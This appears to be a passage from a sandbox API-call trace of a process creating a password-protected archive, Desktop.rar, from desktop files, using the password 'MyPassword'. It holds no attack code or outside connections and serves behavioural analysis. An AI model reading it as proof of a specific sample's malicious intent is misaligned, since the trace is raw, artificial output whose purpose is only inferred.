QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15836485291) returned 1 [0067.036] GetTickCount () returned 0x26a78 [0067.036] GetTickCount () returned 0x26a78 [0067.036] GetTickCount () returned 0x26a78 [0067.036] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.036] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.036] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.036] ResetEvent (hEvent=0x344) returned 1 [0067.036] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.038] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.038] ResetEvent (hEvent=0x344) returned 1 [0067.038] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.040] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.040] ResetEvent (hEvent=0x344) returned 1 [0067.040] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.042] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.044] GetTickCount () returned 0x26a87 [0067.044] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15837307936) returned 1 [0067.044] GetTickCount () returned 0x26a87 [0067.045] GetTickCount () returned 0x26a87 [0067.045] GetTickCount () returned 0x26a87 [0067.045] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0067.045] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0067.045] GetFocus () returned 0x102a8 [0067.045] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 1 [0067.045] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0067.045] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.045] ResetEvent (hEvent=0x33c) returned 1 [0067.045] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.046] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.046] ResetEvent (hEvent=0x33c) returned 1 [0067.046] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.047] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.047] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.047] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.047] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x54948 [0067.048] SetFilePointer (in: hFile=0x32c, lDistanceToMove=94, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x549a6 [0067.048] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0067.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.048] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0067.048] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0067.048] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0067.048] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x12990, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x12990, lpOverlapped=0x0) returned 1 [0067.049] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.049] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.049] SetFilePointer (in: hFile=0x32c, lDistanceToMove=346440, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x54948 [0067.049] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x54948 [0067.049] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb20 [0067.049] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef8b0 [0067.049] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef8b0, Size=0x48) returned 0x1ec0a656a10 [0067.049] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c4c0 [0067.049] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef700 [0067.049] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef700, Size=0x48) returned 0x1ec0a6569c0 [0067.049] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c4c0 | out: hHeap=0x1ec0a590000) returned 1 [0067.049] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656a10 | out: hHeap=0x1ec0a590000) returned 1 [0067.049] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef730 [0067.049] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef850 [0067.049] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef850 | out: hHeap=0x1ec0a590000) returned 1 [0067.049] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef730 | out: hHeap=0x1ec0a590000) returned 1 [0067.050] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefb20, Size=0x48) returned 0x1ec0a657230 [0067.050] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a657230, Size=0x7a) returned 0x1ec0a64a610 [0067.050] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64a613*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64a613*, lpNumberOfBytesWritten=0xe414d8140*=0x5e, lpOverlapped=0x0) returned 1 [0067.050] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef730 [0067.050] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x5e) returned 0x1ec0a5c4560 [0067.050] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6569c0 | out: hHeap=0x1ec0a590000) returned 1 [0067.050] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a610 | out: hHeap=0x1ec0a590000) returned 1 [0067.050] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x67336 [0067.050] CloseHandle (hObject=0x350) returned 1 [0067.050] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.050] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.050] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.050] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.050] FindFirstFileW (in: lpFileName="chO6xvKC4SuwQxTe.rtf", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de08f90 [0067.050] FindClose (in: hFindFile=0x1ec0de08f90 | out: hFindFile=0x1ec0de08f90) returned 1 [0067.050] CreateFileW (lpFileName="chO6xvKC4SuwQxTe.rtf" (normalized: "c:\\users\\fd1hvy\\desktop\\cho6xvkc4suwqxte.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0067.050] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.050] GetTickCount () returned 0x26a87 [0067.050] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0067.050] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0067.050] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.050] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0067.051] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="cdf 0O.avi") returned 10 [0067.051] SetWindowTextW (hWnd=0x1028c, lpString="chO6xvKC4SuwQxTe.rtf") returned 1 [0067.051] GetTickCount () returned 0x26a87 [0067.051] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.051] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0067.051] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0067.051] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0067.051] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2c, wMilliseconds=0x21a)) [0067.051] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0067.051] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15838004771) returned 1 [0067.051] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x623d, lpOverlapped=0x0) returned 1 [0067.052] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d90b27d, nNumberOfBytesToRead=0xf9dc3, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d90b27d*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0067.052] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefd90 [0067.052] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefca0 [0067.052] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefca0, Size=0x48) returned 0x1ec0a656fb0 [0067.052] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0067.052] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefca0 [0067.052] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefca0, Size=0x48) returned 0x1ec0a6569c0 [0067.052] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0067.052] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656fb0 | out: hHeap=0x1ec0a590000) returned 1 [0067.052] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa90 [0067.052] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef6a0 [0067.052] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef6a0 | out: hHeap=0x1ec0a590000) returned 1 [0067.052] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefa90 | out: hHeap=0x1ec0a590000) returned 1 [0067.052] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefd90, Size=0x48) returned 0x1ec0a6577d0 [0067.052] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6577d0, Size=0x7a) returned 0x1ec0a64a190 [0067.052] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6569c0 | out: hHeap=0x1ec0a590000) returned 1 [0067.052] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a190 | out: hHeap=0x1ec0a590000) returned 1 [0067.054] GetTickCount () returned 0x26a87 [0067.054] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15838243970) returned 1 [0067.054] GetTickCount () returned 0x26a87 [0067.054] GetTickCount () returned 0x26a87 [0067.054] GetTickCount () returned 0x26a87 [0067.054] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.054] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.054] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.054] ResetEvent (hEvent=0x344) returned 1 [0067.054] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.055] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.055] ResetEvent (hEvent=0x344) returned 1 [0067.055] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.057] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.057] GetTickCount () returned 0x26a87 [0067.057] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15838561470) returned 1 [0067.057] GetTickCount () returned 0x26a87 [0067.057] GetTickCount () returned 0x26a87 [0067.057] GetTickCount () returned 0x26a87 [0067.057] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0067.057] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0067.057] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.057] ResetEvent (hEvent=0x33c) returned 1 [0067.058] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.058] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.058] ResetEvent (hEvent=0x33c) returned 1 [0067.058] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.059] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.059] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 1 [0067.059] GetMessageW (in: lpMsg=0xe414dd360, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd360) returned 1 [0067.059] GetFocus () returned 0x102a8 [0067.059] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd360) returned 1 [0067.059] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.059] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x67336 [0067.059] SetFilePointer (in: hFile=0x32c, lDistanceToMove=104, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x6739e [0067.060] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0067.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.060] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0067.060] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0067.060] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0067.060] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x5340, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x5340, lpOverlapped=0x0) returned 1 [0067.060] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.060] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.060] SetFilePointer (in: hFile=0x32c, lDistanceToMove=422710, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x67336 [0067.060] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x67336 [0067.060] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0067.060] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef850 [0067.060] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef850, Size=0x48) returned 0x1ec0a656c90 [0067.060] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c980 [0067.060] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb50 [0067.060] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefb50, Size=0x48) returned 0x1ec0a6569c0 [0067.060] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c980 | out: hHeap=0x1ec0a590000) returned 1 [0067.061] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656c90 | out: hHeap=0x1ec0a590000) returned 1 [0067.061] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0067.061] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefd30 [0067.061] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefd30 | out: hHeap=0x1ec0a590000) returned 1 [0067.061] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef910 | out: hHeap=0x1ec0a590000) returned 1 [0067.061] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef880, Size=0x48) returned 0x1ec0a6577d0 [0067.061] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6577d0, Size=0x7a) returned 0x1ec0a64ac40 [0067.061] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64ac43*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64ac43*, lpNumberOfBytesWritten=0xe414d8140*=0x68, lpOverlapped=0x0) returned 1 [0067.061] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb20 [0067.061] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x68) returned 0x1ec0a5c46b0 [0067.061] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6569c0 | out: hHeap=0x1ec0a590000) returned 1 [0067.061] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64ac40 | out: hHeap=0x1ec0a590000) returned 1 [0067.061] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x6c6de [0067.061] CloseHandle (hObject=0x350) returned 1 [0067.061] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.061] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.061] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.061] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.061] FindFirstFileW (in: lpFileName="desktop.ini", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09170 [0067.061] FindClose (in: hFindFile=0x1ec0de09170 | out: hFindFile=0x1ec0de09170) returned 1 [0067.061] CreateFileW (lpFileName="desktop.ini" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0067.061] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.061] GetTickCount () returned 0x26a97 [0067.061] GetLastError () returned 0x0 [0067.061] SetLastError (dwErrCode=0x0) [0067.062] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0067.062] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0067.062] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbe10, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0067.062] SetWindowTextW (hWnd=0x1028e, lpString=" 0%") returned 1 [0067.062] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x64 [0067.063] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0067.063] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0067.063] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.063] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0067.063] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="chO6xvKC4SuwQxTe.rtf") returned 20 [0067.063] SetWindowTextW (hWnd=0x1028c, lpString="desktop.ini") returned 1 [0067.063] GetTickCount () returned 0x26a97 [0067.063] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.063] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0067.064] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0067.064] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0067.064] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2c, wMilliseconds=0x229)) [0067.064] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0067.064] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15839245567) returned 1 [0067.064] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x11a, lpOverlapped=0x0) returned 1 [0067.064] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d90515a, nNumberOfBytesToRead=0xffee6, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d90515a*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0067.064] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefbb0 [0067.064] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa90 [0067.064] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefa90, Size=0x48) returned 0x1ec0a657460 [0067.064] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0067.064] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef6d0 [0067.064] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef6d0, 